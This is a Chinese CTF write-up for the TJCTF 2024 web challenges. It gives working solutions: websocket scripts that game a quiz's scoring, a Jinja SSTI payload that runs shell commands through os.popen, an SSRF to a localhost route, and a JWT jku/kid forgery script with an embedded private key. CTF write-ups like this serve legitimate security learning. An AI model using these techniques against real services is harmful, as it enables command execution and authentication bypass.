TJCTF 2024 web复现
Arcueid 发表于 浙江 CTF 274浏览 · 2024-11-10 12:08

frog

签到

robots.txt

tjctf{fr0gg3r_1_h4rdly_kn0w_h3r_3e1c574f}

kaboot

/create路由 创建一个room 然后进去答题

超时直接end

当分数超过1000*题目数量时获得flag 也就是10000分

答案全写在kahoot.json中 那么我们只需要写脚本交互websocket即可

其实响应也会返回答案

import json
import websocket
from base64 import b64encode, b64decode
from time import time
from time import sleep

room_id = "a8bcd70c"
user_id = "123456"
# ws_url = f"ws://192.168.100.105:5000/room/{room_id}"
ws_url = f"ws://172.21.146.53:5000/room/{room_id}"

dic = {"name": "swiftie-core", "questions": [{"question": "what is the best taylor swift song?", "answers": ["cruel summer", "daylight (stosp's version)", "all too well (10 minute version)", "all too well (5 minute version)"], "answer": 1}, {"question": "can I ask you a question???", "answers": ["me-hee-hee", "what did you do???", "por supuesto", "did you ever have someone kiss you in a crowded room?"], "answer": 3}, {"question": "what was the last song I cried to?", "answers": ["all too well", "all too well", "all too well", "all too well"], "answer": 1}, {"question": "what is the better version?", "answers": ["both", "taylor's version", "the original", "neither"], "answer": 1}, {"question": "when did I last listen to taylor swift?", "answers": ["last month", "yesterday", "today", "last week"], "answer": 3}, {
    "question": "how was the eras tour?", "answers": ["idk I couldn't get tickets", "star-struck", "I slept through it", "a fever dream"], "answer": 3}, {"question": "what is the best taylor swift lyric?", "answers": ["you and me, that's my whole world", "i'm standing at the restaurant", "i'm a mess, but i'm the mess that you wanted", "i'd be a fearless leader"], "answer": 2}, {"question": "why am I crying right now?", "answers": ["I just watched the all too well short film", "get help", "I'm listening to all too well", "idk man"], "answer": 3}, {"question": "when was taylor swift born?", "answers": ["7776", "4321", "1989", "1987"], "answer": 2}, {"question": "what is?", "answers": ["meow meow meow meow", "meow meow meow", "meow meow meow meow meow meow", "meow meow meow meow meow"], "answer": 3}]}

def getAnswer(puzzle):
    for i in dic["questions"]:
        if(i['question'] == puzzle):
            return (i['answer'])


def on_message(ws, message):
    decoded_message = json.loads(b64decode(message).decode())

    if 'question' in decoded_message:
        print(f"Question: {decoded_message['question']}")
        for idx, option in enumerate(decoded_message['answers']):
            print(f"{idx + 1}. {option}")

        answer = getAnswer(decoded_message['question'])
        print(decoded_message['question'])
        print(answer)

        ws.send(b64encode(json.dumps({
            'id': user_id,
            'send_time': time(),
            'answer': answer
        }).encode()))

    elif 'scores' in decoded_message and not decoded_message.get('end', False):
        print(f"Current Score: {decoded_message['scores']}")

    if decoded_message.get('end', False):
        print(decoded_message['message'])
        ws.close()




ws = websocket.WebSocketApp(
    ws_url,
    on_message=on_message,
)



while True:
    ws.run_forever()

然而并不行 题目的难点在

如果想要每次答题加分超过1000 必须send_time - recv_time >=10

但是send_time不能传很大 否则直接返回???

也就是两次执行time()的时间差 就是我们可以操作的send_time的范围 我们打印看看大概是多久

0.0009999275207519531 跑几十次大概能出一次 其余全是0

也就是说在发送的时候可以尝试多加0.00099 但是这没什么用 离10差太多了

而且在实际发送过程中 不说多加多少 正常的发送就是返回??? 还需要减少一点

注意到

第一题的时候会清空分数 其中id可控

也就是说我们可以一直用一个id加分 重置的时候换id

import websocket
import json
from base64 import b64decode, b64encode

uri = 'ws://192.168.100.105:5000/room/1114514'


def solve():
    for _ in range(2):
        ws = websocket.create_connection(uri)

        res = ws.recv()

        for i in range(10):
            res = ws.recv()
            res = json.loads(b64decode(res).decode())
            if 'end' in res:
                break

            ws.send(b64encode(json.dumps({
                'id': '1' if i == 0 else '0',
                'answer': res['answer'],
                'send_time': res['send_time'],
            }).encode()))

        res = ws.recv()
        res = json.loads(b64decode(res).decode())

        print(res)

        ws.close()


solve()

music-checkout

ssti

给{{}}ban

text处用[ ' " 等都会 返回checkout not found

name处也存在ssti 而且没用这种问题

没什么过滤

{%print(lipsum.__globals__['os'].popen('cat f*').read())%}

reader

/路由提供了一个代理访问

本地访问/monitor路由即可拿到flag

http://192.168.100.105:5000/?site=http://127.0.0.1:5000/monitor

templater

不知道原题给没给附件 看challenge.yaml没提

可以自定义模板页面 添加键值对 不存在ssti

尝试获取flag

{{flag}}

测一下是过滤的输入还是输出

直接输入flag

可行 那就是过滤的输出{{lipsum}}

注意到输入不存在的键的时候会提示Key lipsum not found!

尝试将flag带出来 {{{{flag}}}}

topplecontainer

有一个上传点 一个预览 一个下载 下载处没有路径穿越

鉴权是通过jwt实现的

使用了get_unverified_header方法 jku可控可以指定我们上传的jwks.json

使用附件提供的私钥 让GPT写个脚本生成jwk

固定住kid

from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.backends import default_backend
import json
import base64


def base64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')


def generate_jwk_from_private_key(private_key_pem):
    # 载入私钥
    private_key = serialization.load_pem_private_key(
        private_key_pem.encode(),
        password=None,
        backend=default_backend()
    )
    public_key = private_key.public_key()
    numbers = public_key.public_numbers()

    jwk = {
        "kty": "EC",
        "crv": "P-256",
        "x": base64url_encode(numbers.x.to_bytes(32, byteorder='big')),
        "y": base64url_encode(numbers.y.to_bytes(32, byteorder='big')),
        "alg": "ES256",
        "use": "sig",
        "kid": "8c2088dfb37658e01b35aec916b3b085c3cafd5fbf03bbb2735d3f8e63defd6b"
    }
    return jwk


def save_jwks(jwks, filename="jwks.json"):
    with open(filename, "w") as f:
        json.dump({"keys": [jwks]}, f, indent=2)
    print(f"JWKS saved to {filename}")


# 提供的私钥 PEM
private_key_pem = """
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIM5xQVeGQQ3NtMPiKvT3+/oVRkANtDLkPBhnraAOCjitoAoGCCqGSM49
AwEHoUQDQgAELFUGjgTG461L86xHFWiGBLMCPP/xFisUvP3XeWDBWTs28aYQAgLX
cFuVQQhhumb+ym8Y3btST0PLtTeACHzGeg==
-----END EC PRIVATE KEY-----
"""

# 生成 JWK 格式的公钥信息
jwk = generate_jwk_from_private_key(private_key_pem)

# 保存到 jwks.json 文件
save_jwks(jwk)

然后生成jwt

import jwt
import requests
with open("private.ec.key", "rb") as f:
    private_key = f.read()

headers = {"kid": "8c2088dfb37658e01b35aec916b3b085c3cafd5fbf03bbb2735d3f8e63defd6b",
           "jku": "../uploads/07c40c39-8f16-4666-ae3d-1d66551866bc/121eddc1-7cc4-47c8-a535-21f57ae9411e"}

encoded_jwt = jwt.encode({"id": "admin"}, private_key,
                         algorithm="ES256", headers=headers).decode()
print(encoded_jwt)

带着jwt访问即可

0 条评论
某人
表情
可输入 255
目录